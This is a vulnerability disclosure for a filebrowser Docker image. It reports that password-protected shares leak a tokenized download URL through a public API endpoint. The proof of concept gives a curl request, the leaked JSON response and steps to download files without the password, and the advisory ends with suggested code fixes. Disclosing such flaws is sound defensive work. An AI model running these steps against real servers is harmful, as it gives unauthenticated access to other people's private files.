Summary

The remediation for CVE-2026-27611 appears incomplete. Password protected shares still disclose tokenized downloadURL via /public/api/share/info in docker image gtstef/filebrowser:1.3.1-webdav-2.

Details

The issue stems from two flaws:

1. Tokenized download URLs are written into the persistent share model

2. The public endpoint:

Since Token is set for password-protected shares, and getShareURL(..., true, token) embeds it as a query parameter, the public API discloses a valid bearer download capability.

The previous patch removed token generation in one handler but did not address the persisted DownloadURL values/Public reflection of existing DownloadURL

PoC

1. Create a password protected share as an authenticated user

2. Copy the public share URL (the clipboard WITHOUT an arrow)
   http://yourdomain/public/share/yoursharedhash
   Example:
   http://yourdomain/public/share/2EBGbXgXg5dpw-nK0RG6vw

3. Query the public share endpoint via curl request:
   curl 'http://yourdomain/public/api/share/info?hash=(your-share-hash)' -H 'Accept: */*'
   Example:
   curl 'http://yourdomain/public/api/share/info?hash=2EBGbXgXg5dpw-nK0RG6vw' -H 'Accept: */*'

   Response includes:

   { "shareTheme": "default", "title": "Shared files - test.md", "description": "A share has been sent to you to view or download.", "disableSidebar": false, "downloadURL": "http://yourdomain/public/api/resources/download?hash=2EBGbXgXg5dpw-nK0RG6vw\u0026token=EGGYjfyMgqlqknDAIjXekI3DXJ40Nxht.5-q3gnZVbeJ1KYTc-gLb04N6smp-AH2-d4AUFLXgQ6I%3D", "shareURL": "http://yourdomain/public/share/2EBGbXgXg5dpw-nK0RG6vw", "enforceDarkLightMode": "default", "viewMode": "normal", "shareType": "normal", "sidebarLinks": [ { "name": "Share QR Code and Info", "category": "shareInfo", "target": "#", "icon": "qr_code" }, { "name": "Download", "category": "download", "target": "#", "icon": "download" }, { "name": "sourceLocation", "category": "custom", "target": "/srv/test.md", "icon": "" } ], "hasPassword": true, "disableLoginOption": false, "sourceURL": "/srv/test.md" }

Note the response "hasPassword": true and downloadURL includes token= parameter

4. Take the downloadURL(seen in json data response) and replace \u0026 with & and paste link into Incognito or private browser to ensure cookies are not interfering
   Example: http://yourdomain/public/api/resources/download?hash=2EBGbXgXg5dpw-nK0RG6vw&token=EGGYjfyMgqlqknDAIjXekI3DXJ40Nxht.5-q3gnZVbeJ1KYTc-gLb04N6smp-AH2-d4AUFLXgQ6I%3D

Browser downloads file immediately without requiring password

Impact

An unauthenticated attacker can retrieve password protected shared files without the password. Results in authentication bypass, unauthorized file access and confidentiality compromise

Recommended Remediation

Sanitize DownloadURL in public share info responses via commonShare.DownloadURL = "" before returning the json response in shareInfoHandler method located in backend/share.go

Structural fix, only generate tokenized URLs after successful password validation
